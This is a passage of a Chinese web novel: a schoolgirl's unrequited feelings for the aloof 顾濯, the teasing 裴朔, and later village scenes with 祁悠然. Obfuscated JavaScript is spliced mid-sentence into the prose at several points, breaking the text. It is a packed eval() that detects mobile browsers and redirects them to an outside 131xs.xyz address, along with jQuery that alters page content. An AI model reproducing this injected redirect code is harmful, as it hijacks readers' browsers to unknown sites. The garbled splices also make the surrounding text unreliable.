胃里是填满了，时间也打发了，乍看是充实的，心下也仿佛得了片刻的满意。 那日，她不知从哪里得了两个青皮橘子，还带着新摘的涩气，捂在怀里一路揣到了书斋，递了一个给顾濯。 顾濯与往常一般，面无表情地接过。 他慢条斯理地剥开那青涩的皮，露出里面饱满却显然未熟的瓤，一瓣一瓣，斯斯文文地送入口中。腮帮子随着咀嚼微微动着，喉结平稳地滑动，脸上依旧是那副八风不动的神情，连眉毛都没皱一下。 她犹豫了一阵，看着顾濯面上没有异样，便学着他的样子剥开橘子，掰下一瓣塞进嘴里。 嘶！ 一股极其霸道、毫无遮拦的酸意，猛地炸开在她的舌尖。 那酸，尖锐、蛮横，带着青皮特有的生涩冲劲儿，瞬间攻城略地，直冲得她头皮发麻，天灵盖都仿佛被掀了一下。她猝不及防，整张脸痛苦地皱成一团，眼睛鼻子挤在一处，倒吸着冷气，偏又碍着面子强忍着。 她瞪大了眼，一瞬不瞬地盯着顾濯那张平静无波的脸。 心头疑窦丛生，像有只小爪子在挠。 莫不是这橘子也生了势利眼，专拣软柿子捏？一个甜，一个酸？偏生她就是那个倒霉催的，撞上了酸煞人的那一个？ 她低头，愁眉苦脸地瞅着手里剩下的青橘，那饱满的瓤瓣散发着生人勿近的酸气。 一股无赖劲儿悄悄冒头。 要不，塞给顾濯？反正他味觉失灵似的。 这念头还未成形，身旁猛地探过一只养尊处优的手。 那手带着不容置疑的霸道，闪电般攫走了她指间那个“灾星”。 “小娘子在吃什么，这么津津有味？”一道张扬的、带着点轻佻笑意的声音随之响起。 她愕然抬头，只见一个身着华服的少年，不知何时已欺到近前。 眉眼飞扬，唇边噙着一丝玩味的笑，浑身上下透着富贵窝里浸出来的骄矜。 他看也不看那青橘，仿佛抢到手的便是理所当然的战利品，径直将剩下几瓣一股脑儿塞进了嘴里。 下一刻。 “唔！”少年脸上那点刻意维持的风流倜傥瞬间碎裂，龇牙咧嘴，狼狈得像只被踩了尾巴的猫。 “你怎么……喜欢这种东西？”他勉强咽下，声音都变了调，带着被酸意扭曲的控诉，“专程用来害人的？” “是你自己抢过来的。”她的声音平平的，带着点事不关己的冷淡。 “你……”那少年还想强词夺理，挽回些颜面。 “裴朔。”顾濯出声，声音不高，却蓦地凝住了那点尴尬的喧嚣。 “许久不见，你怎么越来越闷了。”那唤作“裴朔”的少年几步便晃到顾濯跟前，伸手“啪”一声合上了顾濯案头的书卷，“小爷我好不容易回来了，你倒好，对着这满屋子霉味儿参禅？陪我逛逛去！” 话音未落，已不由分说扯了顾濯的衣袖往外拖拽。 那力道是熟稔的，带着点理所当然。 顾濯被他扯得身形微晃，显出几分难得的、属于活人的怔忡。 临跨出门槛前，那惯常平淡的目光，竟似有若无地在她这边飘了一瞬，蜻蜓点水似的，快得让人疑心是错觉。 她早已将脸侧向窗外，手肘支在冰冷的案上，掌心托着腮，仿佛在无知无觉地赏景。 窗外是灰蒙蒙的天，映着她眼底也一片空茫。 她固执地维持着这个姿势，不肯回头。 横竖，这方天地，也只剩下她一个了。 嘴里的滋味一路沉坠，直落到心坎底，像一滴冷水溅进了砚台。 只是那砚台里盛着的，却是青橘汁水，被那水珠子一搅，酸涩便丝丝缕缕地洇开、弥漫，直渗进五脏六腑里去。 这橘子，真真是顶顶不好吃的东西，酸得没边了。 是舌苔生了幻觉也好，是心窍蒙了骗局也罢，她只惘惘地想，到底什么时候能止住酸味，继而回甘呢？ 窗外的云影，漫无目的地游移。 天光渐渐黯淡。 她缓慢地起身离开，案上残留的橘子皮，颓然地蜷曲着。 外头笼着一层灰败的黄光。 那光泼辣辣地罩下来，笼着庭院，笼着屋瓦，也笼着她伶仃的身影。 街边的小贩正麻利地收拾着准备回去，动作在暮色里碰撞出些微琐碎的声响。 她立在一旁，目光却黏在那草垛子顶端的几串糖葫芦上。 薄脆透明的冰糖壳子，裹着山楂饱满的圆润，在渐暗的天光里，透出一点诱人的琥珀光泽。 她的手指下意识地捻了捻腰间那只半旧的荷包。 自刘家那事后，林枫眠罕见地关注起她平时的用度来，在银钱上倒是不曾短她，每月那二两银子的月例，总归是安安稳稳落到她手里。 “这个……劳烦问一声，”她审慎地开口，声音放得轻，“多少钱一串？” 那小贩头也不抬，糙红的手指兀自忙着捆扎草绳：“三文。” 三文？ 她捏着荷包的手指，倏地松开了。 竟是如此便宜吗？ 喉咙里轻轻“唔”了一声，像是咽下了一点自己也说不清的滋味。 她将碎银递过去，“给我一串吧。”声音平平的，听不出喜乐。 小贩却没接，异样地看着她，声音带着市井特有的惊讶与嘲弄。 “小娘子，您这不是存心为难我吗？”他摊开自己沾满草屑尘泥的糙手，“您瞅瞅，我这一天的生意都未必值这一小块！这、这叫我拿什么找补给您？就是把这一垛子糖葫芦都给您，也抵不上个零头啊！” 她尴尬地收回手，面上染上了窘迫的薄红。 一转眼，天上竟筛下些细密的雨针来。 天边滚过几声闷雷，像厚重的石磨在灰云里迟钝地碾过。 那雨脚眼见着就密了、急了，白茫茫织成一张湿冷的网。 她紧走几步，闪身躲进一处低矮的屋檐下。青苔顺着湿漉漉的墙根往上爬，空气里一股子陈年霉味混着雨水腥气，直往鼻子里钻。 却听见屋内传来的争执。 “大夫！菩萨心肠的大夫！求您发发慈悲，救救她吧！她、她就只剩一口气吊着了啊！” “没钱？没钱看什么病？趁早抬回去，省得脏了我这地界儿，晦气！” 屋檐外，雨势更凶了。 暴雨汹涌地冲刷着石阶，将门内那点惨绝人寰的绝望和门外她这个偶然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿，指尖无意识地蜷缩了一下：“你且……仔细着脚下，一步一步走稳当了，莫要心急。” 话音落下，连自己都惊觉这话的熟悉。 一丝说不清道不明的惘然，悄然爬上心头。 看着那妇人抱着孩子，小心翼翼地消失在白茫茫的雨幕深处，她唇边终于极淡、极快地弯起了一抹弧度。 舌尖竟无端端地泛起一点甜意，比那没尝到的糖葫芦，似乎还要真切几分。 只是，这短暂的暖甜还未化开，目光触及屋外那依旧如天河倒泻般的暴雨，她秀气的眉头便又轻轻蹙了起来。 檐下水线连成白练，砸在地上溅起无数浑浊的水泡。 这么大的雨，究竟何时才停歇？ 正自困顿踌躇间，目光不经意扫过廊侧，竟瞧见了顾濯与裴朔！ 两人就并肩立在廊檐下。 裴朔手里那把油纸伞随意地斜撑着，伞沿的水哗啦啦淌成一道喧闹的小瀑布，溅湿了他华贵的袍角也浑不在意，脸上带着看戏似的闲适。 而顾濯……他沉默地立在那里，手中一柄素色的伞，伞尖稳稳地垂向地面，在脚边上圈住了一小汪沉静的积水，显然站了有些时候了。 他那双惯常平淡无波的眸子，此刻直直地落在她身上。 那眸底深不见底，所有的情绪都敛在里头，冷浸浸的，只映着她仓促间无处遁形的影。 一股热意倏地涌上脸颊，她飞快地扭过头去，只觉这狭小的屋檐下，空气忽然变得稀薄而黏腻，混杂着雨腥、药味和他那无声的目光，沉沉地蒸腾起一片白茫茫的湿气，将她困在了中央。 29. 折梅 怎么办？ 要直接冲到那泼天雨幕里遁走吗？ 像只被沸水浇了头的虾子，慌不择路地弹进冷水？ 她感觉自己的脸颊烫得厉害，像有两块烧红的炭贴着皮肉。此时若贸然冲出去，那冰冷的雨水砸在脸上，怕是要“滋啦”一声腾起缕缕白烟。 裴朔似笑非笑地看着她：“哟，小娘子心肠倒怪软的。” 一句简短的话被他念得七拐八弯，嘴里好似吐出个妖精，恨不得缠住房梁绕上三圈。 她眼前一阵发黑，生出晕船似的眩晕，脚下虚浮。 果然……方才那档子事，全被他们看了去！ 她自己也觉得稀奇古怪：平日里欺男霸女的勾当，做起来坦坦荡荡，从不怕人看；怎地今日不过伸了回手，发了回善心，倒像是做了什么见不得光的坏事，恨不得立刻挖个地洞钻进去，或是干脆被这漫天雨水冲刷得干干净净，不留一丝痕迹才好。 顾濯却只将手中那柄素伞朝她递近了几分。 他目光依旧沉沉地落在她烧红的耳廓上：“以后不要在外露财。” 伞尖凝聚的水珠，不堪重负似地滚落，“嗒”一声。 不偏不倚，在她心间漾开一圈涟漪。 雨下得更大了些。 …… 芭蕉摇摆，斜飞的雨珠子失了准头，撞在洞开的窗棂上，碎成一片湿漉漉的水光。 窗扇被风推搡得噼啪乱颤，不过关个窗的功夫，手刚触到被雨溅湿的木框，那带着些热意的风便倏地转了凉，竟透出些萧索气。 时间原是过得这般快，一个关窗的转身，便从指缝里溜走了大半。 新裁的厚衣裳上身，料子簇新舒适。 她裹着一身兴冲冲的暖意踏入学堂，却不见姚夫子。 胡乱抓了几个人问询才得知，陈素馨身体每况愈下，皇帝一道“体恤”的恩旨降下，特准了姚玉成致仕，即日携妻南下江南，说是寻个温软地界休养。 她脑子里“嗡”的一声，什么也顾不得了，拔腿便往姚府跑。新衣裳的下摆绊着脚，也浑不在意。 赶到时，正撞见那副萧索的别离。 姚玉成搀着陈素馨，两人脸上皆是蒙了一层灰败的尘，被一群面无表情、穿着官靴皂衣的人半拥半迫着往马车上送。 这架势，与其说是护送，不如说是押解。 多日不见，陈素馨竟已瘦脱了形，还未入冬，便裹在厚重的裘氅里，却依旧瑟瑟发抖，仿佛一阵风就能吹散了去。 姚玉成也好不到哪里去。那副向来清癯儒雅的身板，此刻竟显出一种中年男人特有的颓唐与伛偻，苦着一张脸，眉头紧锁，仿佛被抽干了精气神。 她心口一热，刚想不管不顾地冲上前去，哪怕只唤一声“先生”、“师娘”。 一堵沉默的墙，闪着刀鞘的寒光，横亘在她面前。 那人的眼神甚至没有落在她脸上，只漠然地平视着前方，像包着人皮的木桩。 她被拦在了原地，动弹不得。 只能隔着这些人高马大的护卫，拼命踮起脚尖，艰难地抢出远远的一瞥。 离别来得实在太过突然，像一记毫无征兆的闷棍，狠狠敲在后脑勺上，砸得她眼前发黑，耳朵里嗡嗡作响。 眼神从人去楼空的姚府落到同样空寂的学堂，这次旬假，书案依旧虚席以待，那个惯常沉默的身影，却不见踪迹。 偌大的书斋，此刻只囿着她伶仃一人。 她沉默地将油纸包拆开，拿出热乎乎的糕点，无声无息地咀嚼着。 甜，太甜了，甜得发齁，甜得发腻。 毫无章法地糊满了口腔，黏腻地封住了喉咙，连带着呼吸都带上了一股子浊气。 真不明白顾濯怎会偏偏嗜好这种甜得发腻、俗艳得近乎直白的东西？ 那浓烈的甜，与他周身的冷冽气息，简直是南辕北辙，格格不入。 光影流转，阳光一寸寸细细描摹过她的脸，温柔得近乎慈悲，像一只无形的手，试图抚平她眉宇间的褶皱。 然而，终究是好心办了坏事。 这无形的抚慰总归是隔靴搔痒。 更何况，它是亮堂的。 越是温柔地抚摸，便越是清晰地照见她脸上的僵硬与颤抖；越是慷慨地泼洒暖色，便越是残忍地映衬出她心底的荒芜冰冷。 滚圆的夕阳，通体浸润在一种浓稠得化不开的橙红里，像橘子。 逼得眼睛里那点酸意，水汪汪地浮了上来，却凝着不肯落下。 天渐渐黑了下去。 月亮升起又落下，如此勤快；她早出而晚归，如此好学。 只是这“勤”与“学”，一个悬在天上，一个困在人间，各自奔忙，毫不相干。 乍一看去，她似乎又缩回了那副旧壳里，瘦弱、拘谨、自卑、无措。 ……不。 她其实已然变了许多。 昔日眼中那曾锋利得能割喉的寒芒，如今已笨拙地敛入鞘中。 其实浸在温润的光里久了，也潜移默化地有了不卑不亢的底色、足以立身的笃定。 她不再瘦弱、不再拘谨、不再自卑、不再无措。 ……只偶尔生出些“为赋新词强说愁”的孤独滋味。 裴朔这阵子，倒像是寻着了什么新奇的玩意儿，时常晃到她眼前，带着一种招猫逗狗般漫不经心的狎昵。 他这人，天生一副活泛筋骨，虽刚入这学堂不久，却已毫无滞涩地融进了同窗的喧闹里，左右逢源，游刃有余。 这人大抵有些毛病，撩拨完或明或暗倾慕于他的女孩儿，还要把那点过剩的、无处安放的精力投放到她身上。 起初，不过是些无伤大雅的小把戏。 他那张俊俏的脸上，会浮起一丝得逞的、孩子气的坏笑。 她却只觉得烦，日日暗地里祈愿，盼着哪位云端里打盹儿的大罗神仙开了眼，行行好，把这祸害收了去。 后羿当年射落那九轮毒日时，箭囊里怎不多备一支？顺手把这碍眼的也钉死在云端，岂不干净？ 嫦娥吞药奔月时，广袖飘飘，怎不顺手将这聒噪的玩意儿也卷了去，丢在那清冷蟾宫，任他抱着玉兔自说自话？ 勉强把飘到天边的思绪收回，蘸墨欲书时，裴朔却如影子般晃过，带起一股刻意搅动的风，惊得她笔锋一抖，在宣纸上压下一个丑陋的墨印。 她抿起唇。 这样……还是太仁慈了。 玉兔何辜？它不过是团雪白安静的、在桂子香里捣着药的小小绒球。 还是打发他去吴刚那一起砍树吧……被吴刚当树砍也成。 然而，随着时间的推移，那点“逗弄”的底色，渐渐变得过分起来。 不知是他本性里那点被骄纵惯了的跋扈终于按捺不住，还是单纯觉得她这副沉默隐忍、逆来顺受的样子格外“有趣”，可供他消遣的尺度，便愈发失了分寸。 她夹在“愁”与“烦”之间，尚未来得及把糟糕的情绪理顺，一低头，竟瞧见自己唇齿间呵出了一小团白气。 天竟如此没有分寸，像个被后娘催着嫁人的老姑娘，慌慌张张，乱了章法。嫁衣尚未绣完，胭脂也才敷衍地匀了半边脸，便被推着踏入了冬的门槛。 书斋里的学生们便是那来道贺的宾客了。脸上滋滋地冒着喜气，兴高采烈地咏松、咏竹、咏梅，那副扬扬自得的神气，像吃了绝户的新郎家亲眷，思量着怎么把嫁妆盘剥了去，好妆点他们金光闪闪的前程。 唔……把岁寒三友跟金银珠宝混为一谈，大约两者都要觉得受了玷污。 一溜的学生们人模狗样的，闪着攫取的绿光，在书院这方清冷天地里逡巡。 首当其冲的便是书院那些梅树。 “诗人们”褪了那层薄薄的“诗”壳，内里原形毕露，身份原是“采花贼”，采的梅花。 诗稿是一沓又一沓，带着世俗铜臭与功名欲念的墨水和唾沫星子无甚差别。 可怜那刚绽开的红梅也是近水楼台先得越了。 僭越的越。 胡赖赖的狼藉下，就差焚琴煮鹤的活计了。 不过他们大抵是做不来的——琴瑟太高，仙鹤太远。 学院如果也有仙鹤，他们大抵也是要扑将上去，薅着毛赋诗一首的。 到时怕不是鹤飞狗跳，落下一地白羽——届时被误以为是雪，那狗便又要跃起来叫唤了。 若教和靖先生知道了，怕是会被气活。 她冷眼旁观着群魔乱舞。 目光却不由自主地，去寻那抹素衣的身影。 顾濯竟也立在梅树下。 周遭是熙熙攘攘的嘈杂，他却静静注视着眼前的梅树。 横斜的梅枝遮住了他半边眉眼，艳丽的姝色缀着如玉的面庞，却掩不住熠熠风华。 又或者说，那是一种在浓墨重彩处，恰到好处的留白。 郎艳独绝，世无其二。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860285|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 压住了满园浮华。 她一时怔忡，却对上了那半幅惊鸿一瞥。 鬼使神差地，她向顾濯走去。 足下踩着细软的雪，心却悬在云端。 她低头看着雪，孩子气地用力将脚下的雪压实，仿佛心也随之有了些底气。 她抬起头，寻到了顾濯眼中的鸿影。 那句哽在喉间的“为何失约”终究被咽了下去，化作舌尖上一个生涩的转弯。 她听见自己开口问询：“你也……喜欢梅花？” 声音飘出来，带着一丝不易察觉的抖，轻轻落在空气里，掉到雪地上，被她自作自受地踩得有些闷。 顾濯似乎有些意外，睫羽微动，只轻轻颔首。 那画面太静，太好，在茫茫的雪光里，竟生出些温柔的错觉。 她被这虚幻的“好”蒙了心窍。 几乎是着了魔，她伸出手，指尖触到身边梅树的枝干。 握住，折下。 “咔嚓！” 那声响，脆生生，清凌凌，利落得近乎残忍。 她微微清醒些，生出一股迟来的悔意。 可花既已离枝，断无遮掩回圜的余地。 她慌乱地抬眼，又极快地低下头去，不敢与他对视。 手悬在半空，明明冻得有些麻了，却生出些热意，擎着那支刚被自己亲手戕害的红梅，递给顾濯。 目光里，是两双鞋。 登对的，般配的。 意料之外的，并没有温热的指尖来接。 她滞涩地抬头。 顾濯负着手，身姿依旧挺拔如松。 他轻蹙着眉头，那双曾让她沉溺的眼，此刻却凝着一片化不开的霜色。 冷峭的目光在她手中的残梅上短暂了停留一瞬。 却是未在她脸上停留分毫。 衣袂拂动，带起一小股冰冷的风，便漠然地掠过她，径自去了。 冰寒的枝干冻得她指尖发麻。 方才心头涌起的那点热，急遽地冷下去，冻成了冰疙瘩，硌得生疼。 还未从失落的怅然里反应过来，僵立之际，突然一兜子雪劈头盖脸砸下。 寒气猛地扎进头皮、脖颈，顺着衣领缝隙蛇一样钻进去。 她狼狈地打着颤。 雪水糊了眼睛，视线一片模糊的冰凉。 她费力地向始作俑者看去。 裴朔站在不远处，慢悠悠收回那只刚踹过梅树的脚。 觉察到她不善的目光，他脸上的神情飞快收起，嘴角挑起恶意玩味的笑：“顾濯有未婚妻，你不知道吗？” 已然冻僵的心口又被狠狠扎了一下。 原是如此。 她的喉间涌上一股腥甜。 巨大的难堪与羞耻绝望地笼住了她。 恼羞成怒地把梅枝掼在地上。 可手上到底没有动作。 梅花有什么错呢？ 它已经够可怜了。 错的自始至终都是她罢了。 她侧头看向顾濯的背影，脸上的雪水像泪一样淌下。 有时候倒希望眼睛是面镜子，虚虚映着人像，倒也不会任由那人进到心里去。 挂着的湿润也可以拿水雾做借口。 可眼睛就是眼睛。 视线终究穿过迷蒙的水汽，落在那座横跨冰湖的孤桥上。 他已走至桥尾。 衣袂被寒风掀起一角，身影挺拔、清绝，却遥远得像隔着一整世的光阴。 而她，仍泥塑木雕般地驻立在桥的这头。 自导自演似的，扮着一戳即破的体面，演给风雪看，演给自己看。 脚下是狼藉的雪泥、零落的花瓣，还有那枝被她攥得死紧、艳得刺目的断梅。 桥头与桥尾。 年头与年尾。 未及开始，便已是结束。 “原来他有未婚妻。” “但那林娘子哪里管这些，为了攀上侯府的高枝儿，竟不惜做了检举亲爹的忤逆女，捧着用老子血染的功劳簿，去求陛下赏她一纸赐婚的恩典——好一个霸道无理的“携功求嫁”！”村口的说书人唾沫横飞地讲着。 人群嗡嗡，唏嘘里掺着猎奇的兴奋。 说书人满意地环顾着周围投来的好奇目光，一拍惊堂木，吊足了胃口：“那时候坊间都流传着一句话——” “什么话？”一道带着笑意的声音斜斜岔进来。 30. 浮光 声音不高，带着刚刚病愈的哑意，却透着些许兴味。 说书人循声看去。 是个村妇打扮的陌生女子，立在人群的暗影里。 白瓷般的脸上未施粉黛，却生得一副好颜色，容貌昳丽，嘴角噙着漫不经心的笑。 说书人的目光不免在她脸上多停驻了片刻，脊梁更是下意识地往上拔了一拔，骤然挺得笔直，像根竹竿重新填进地里充作竹子。 他清了清嗓子，运足了丹田里的那点气力，将惊堂木在案上“啪”地一拍，朗声喝道：“那时候坊间都流传着，狂犬犹吠日，不及林娘半分癫！” 那声“癫”字，被他拖得又长又颤。 布衣女子却只是懒洋洋地挑了挑眉梢，嘴角那点漫不经心的弧度，似乎加深了几分。 “编得不错。”她轻飘飘地评价道。 “所以那林娘子检举亲爹什么了？”底下有人按捺不住，扬声发问，声音里带着点刨根问底的市侩劲儿。 说书人那双浑浊的眼珠子骨碌一转，眼皮子底下漏出点油滑的、故作的讳莫如深，活像只偷油得手的老耗子：“哎哟喂，这个嘛……可真真不兴说！”他拖长了调子，尾音打着旋儿，吊足了胃口。 “说说呗！藏着掖着算怎么回事！”有人急不可耐地拍着大腿。 “就是就是！别吊着大伙儿呀！”七嘴八舌的催促像煮沸的蛙鸣，在空气里鼓噪。 说书人这才慢悠悠地捻了捻胡须，压低了嗓子，做出副推心置腹的机密模样，那音量却恰恰能让最后一排都听得真真儿的：“这事儿啊，上头瞒得跟铁桶似的。也就是我，在城里有那么些门道，总归是钻营出一星半点儿的缝儿……” 他顿了顿，眼风扫过台下那一张张伸长了脖子、写满窥私欲的脸，终于将那点“机密”像吐枣核儿似的啐了出来：“那位林娘子啊，她检举她亲爹——私藏兵刃甲胄，图谋不轨，要谋反呐！” 人群“轰”地一声炸开了锅，唾沫星子横飞，议论声浪几乎要掀翻了这破旧书棚的顶。 更有那等好事之徒，脸上挂着局外人特有的、隔岸观火的得意，仿佛自己已然是那运筹帷幄的军师，摇头晃脑地“指点江山”：“啧啧，要换作是我呀，定是帮着我爹把这事儿办成了！成了，横竖是个金枝玉叶的公主！到时候啊，天底下的好儿郎，还不是尽着挑拣？要什么男人没有！” “哈哈哈哈哈！”一阵粗嘎的哄笑应和而起，带着点下作的兴味，“保不齐人家林娘子就是那痴情种子，对那侯府的小公子爱得入了魔、发了癫，连亲爹的项上人头都能当投名状呢！” 祁悠然指尖蜷了蜷，笑意虚虚挂在脸上，却冷下三四分。 “那后来呢？”有人意犹未尽地追问。 说书人刻意长长地叹出一口气：“嗐，还能如何？自然是那位侯府公子，捏着鼻子认了，娶了她进门。这一对怨偶啊，就这么不咸不淡、不死不活地捱着日子呗。” 他语调平板，仿佛在念一纸索然无味的判词，先前吊人胃口的精气神泄了个干净。 “呸！这算哪门子结局？馊了的隔夜饭都比这有滋味！”立刻有人啐了一口，满脸的扫兴。 “那林娘子好看不？”角落里一道声音油腻腻地响起。 四下里立刻刮来一片带着鄙薄的眼风，那发问的汉子缩了缩脖子，臊眉耷眼地埋进了人堆里。 说书人含糊地咕哝道：“还……还成吧。横竖不丑。” 祁悠然不高兴了，那点笑霎时落下去七八分。 “啧啧，”另一人咂摸着嘴，带着点酸溜溜的探究，“这侯府公子是镶了金还是嵌了玉？让一个千金小姐，削尖了脑袋往他跟前凑，上赶着去填那暖不热的冷炕头！” “哼，这‘福气’白送你你要不要？”旁边一个略清醒些的嗤笑，“人家原配的未婚妻，指不定多好一个姑娘，硬生生被搅黄了婚事，这哪里是姻缘，分明是作孽！” 祁悠然垂着眼睫，心不在焉地听着，再也提不起注意，脸上残存的笑意也散尽了。 这故事编得……真真是细致到了狠毒的地步。 连那些捕风捉影的细节，都浸透了市井特有的想象力，仿佛当真扒着人家窗棂，将里头的龌龊瞧了个真真切切。 不过…… 结局，倒是对了。 像一把钝刀子，终于慢吞吞地割到了该断的地方，落下个意料之中的、死气沉沉的句点。 乔婶——好心收留顾濯和祁悠然的妇人，以为她不习惯众人的叫嚷，冲她歉意笑笑：“姑娘莫要嫌弃，难得碰上个农闲，土里刨食的日子，也就剩这点嚼舌根的乐子了。粗是粗了些，横竖当个响动听听。” 祁悠然默默帮着接过乔婶怀里那几块同邻里换来的腌肉，不甚在意地笑了笑。 “娘，我们回去吧，外头好冷。”七岁的翠儿缩着脖子，冻得像个发青的小萝卜，在冷风里打颤。 乔婶瞪了她一眼：“死丫头片子！刚才是谁撒泼打滚，猴急猴燎地非要挤过来看热闹？这会儿倒晓得冷了？人祁姑娘病刚好没多久，生生被你个小冤家拖到村口。” 祁悠然忙解围道：“乔婶，快别怪翠儿。原是我听着外头热闹，心里好奇得紧，这才央着翠儿陪我出来瞧瞧的。” 她牵着翠儿的手，走过一溜儿村舍，最终停在一户贴着晒褪色春联的门前。 顾濯正蹲在檐下那方被日光晒得发白的泥地上，垂着眼，认真地用几块边缘还带着毛刺的木板，笨拙而执拗地拼接一只小方凳。 听见脚步声，他抬起眼，目光掠过她们，最终落在那只初具雏形的凳子上，声音同往常一般平淡无波：“松动的凳腿、桌腿，顺手都箍了箍紧。” 他此刻的神情，倒是罕有地对这般粗陋的手工活计，泄露出几丝兴致。 那修长白皙、惯常执笔或翻书的手指，此刻沾着廉价的木屑和泥土，与粗糙的木材较着劲，竟透出一种奇异的生疏的认真。 日影在泥地上悄悄挪移，他竟也浑然不觉，兀自在这琐碎而微末的劳作里，消磨了一整个白昼。 翠儿一直嚷嚷冷，乔婶无奈，只得带她去屋里添衣。 小小的院落，霎时静了下来，只剩下些敲敲打打的声音。 祁悠然抱着手臂，懒绵绵倚在门框边，目光不由自主地落在了檐下那人身上。 顾濯仍专注于那几块不成器的木板。 他微蹙着眉峰，薄唇抿着，修长的手指拈着一枚歪斜的木楔，对着凳腿卯眼，左比右量，那神情凝重得仿佛在勘定山河舆图，而非对付一只摇摇欲坠的小方凳。 他这副全神贯注却仍然笨拙的模样，与平日里那副八风不动、万事不入心的清冷，简直判若两人。 祁悠然瞧着瞧着，一声极轻、带着点水汽的浅笑，就这么毫无防备地从她唇边溜了出来。 顾濯手上的动作，微不可察地一顿。 他并未立刻抬头，只是那紧抿的唇线，蓦地松了。 低垂的视线，依旧看着木楔。 过了片刻，他才缓缓掀起眼帘。 目光，没有直接撞上她的笑靥，而是先落在她冻得微微发红的鼻尖上，像冬日枝头一点将熟的莓果。 那视线带着他惯有的沉静，却又比平日的霜色，悄然融开了一丝温温的暖意。 “……”他没说话，只是那样静静地看着她鼻尖那点红，又仿佛透过那点红，看到了她眼底未散的笑意。 祁悠然被他的目光烫了一下，不自在地稍稍移开视线，手指不安分地抠着斑驳的门框：“我……那天晚上……发烧……说了什么吗？” 顾濯顿了顿，目光终于从她鼻尖那点灼人的红移开，落回手中的木楔：“没有。” 祁悠然松了口气。 院子便又再次静了下来。 顾濯重新敛神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860286|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于手上的活计上。 真是奇怪，他看你时，空气滞涩了、呼吸不顺畅了，你觉得不自在，只恨不得他立刻移开眼去；待到真的不看你了，你便又不知足了，心里头又咕嘟咕嘟冒出些无名的酸泡来，埋怨起他的不通人情来。 祁悠然此刻便像个被抢走饴糖的孩子，别扭地、任性地闷闷不乐起来。 她绞尽脑汁地和顾濯手上的木楔较着劲，没头没脑地、突兀地抛出一句：“外面的人夸你是太阳呢。” “？” 不待细问，乔婶的大嗓门便大咧咧传过来：“吃饭了。” 祁悠然像是得了赦免，赌气似的将那句没头没脑的“太阳论”和顾濯探寻的目光一并抛在脑后。 她腰肢一旋，竟真真儿不等他，像只踩着点儿归巢的雀儿，头也不回地径直朝那飘着饭食香气的堂屋去了，只留给檐下一个微微晃动的、带着点小性子的背影。 饭毕，碗碟还散着余温，翠儿便像块刚离了蒸屉的白糯糕，热乎乎、黏答答地偎了上来，小手揪着祁悠然的衣角，眼巴巴地央求：“祁姐姐，讲个故事嘛！再讲一个！” 祁悠然垂眸瞧着这小黏人精。 她生得确是浓墨重彩，眉眼唇颊都似工笔精心勾勒，秾丽得咄咄逼人。 偏生平日里总笑靥盈盈，那笑意活泛得如同画师画到一半，忽地掷了规矩方圆，醉醺醺换了泼墨写意的大笔，洋洋洒洒，在那精工细描的美人身畔，率性添了几只憨态可掬的狸奴犬子。 一幅原本该悬在寂寂高堂的工笔妙品，蓦地便跌进了热腾腾的市井年关，红火火、闹哄哄地平易近人起来。 这般的矛盾与鲜活，落在孩子那澄澈无垢的眼里，便是理所当然得受稀罕。 翠儿黏她，是再自然不过的事。 绘声绘色讲完了两个故事，祁悠然只觉得眼皮子发沉，不自觉打了个呵欠。 顾濯在一旁瞧着，带着点无言的无奈，默默递了碗温热的清水过来。 翠儿却还精神着，一双眼睛亮得惊人，巴巴地等着下一个。 乔婶倒是过意不去，粗着嗓门赶人：“小讨债鬼！你祁姐姐乏了，眼皮子都打架了瞧不见？快滚去睡觉！” 翠儿哪里肯依？小脑袋摇得像拨浪鼓；小嘴撅得能挂油瓶。 乔婶没了辙，眼珠子一瞪，只好吓唬她：“你再不乖，今天那个林娘子，可就要摸黑儿寻上门来，把你个小东西捆了去！” “噗！”祁悠然正含在嘴里的一口水，便这么猝不及防地喷了出来。 几点水意，不偏不倚，殃及到了顾濯。 祁悠然心头一跳，也顾不得自己呛到咳嗽，几乎是下意识地，便抬起手，带着些笨拙的急切，用微凉的指尖去揩拭他指侧那点湿痕。 此刻，指尖清晰感受到他手指皮肤下沉静流淌的暖意。 那热就这么递了过来，一路窜上脸颊，灼得她耳根发烫。 顾濯并未抽手，喉结极轻微地滑动了一下，垂下了眼睫。 目光晦暗地，先是落在她慌乱动作的手上，旋即，便无声无息地向上攀爬，最终落在她此刻浮起薄红的耳廓上。 “为何反应如此大？”他罕见地生出几分好奇。 “……”祁悠然揩拭的动作骤然僵住，袖口还虚虚地、暧昧地搭在他温热的腕骨上，“……无事。” 像是意识到了动作的越界，她慌乱地移开手。 袖口狼狈地垂落，掩住了她方才“造次”的手指。 顾濯的目光，静静地落在她骤然低落下去的脸上。 心底漾起几分懊悔。 不该问的。 他不动声色地放下那只被她触碰过的手，仿佛无事发生。 无人窥见的阴影里，他那只手的指腹，却下意识地、极其缓慢地蹭过方才被她指尖反复擦拭过的那一小片皮肤。 ……总感觉还残留着些许湿意。 31. 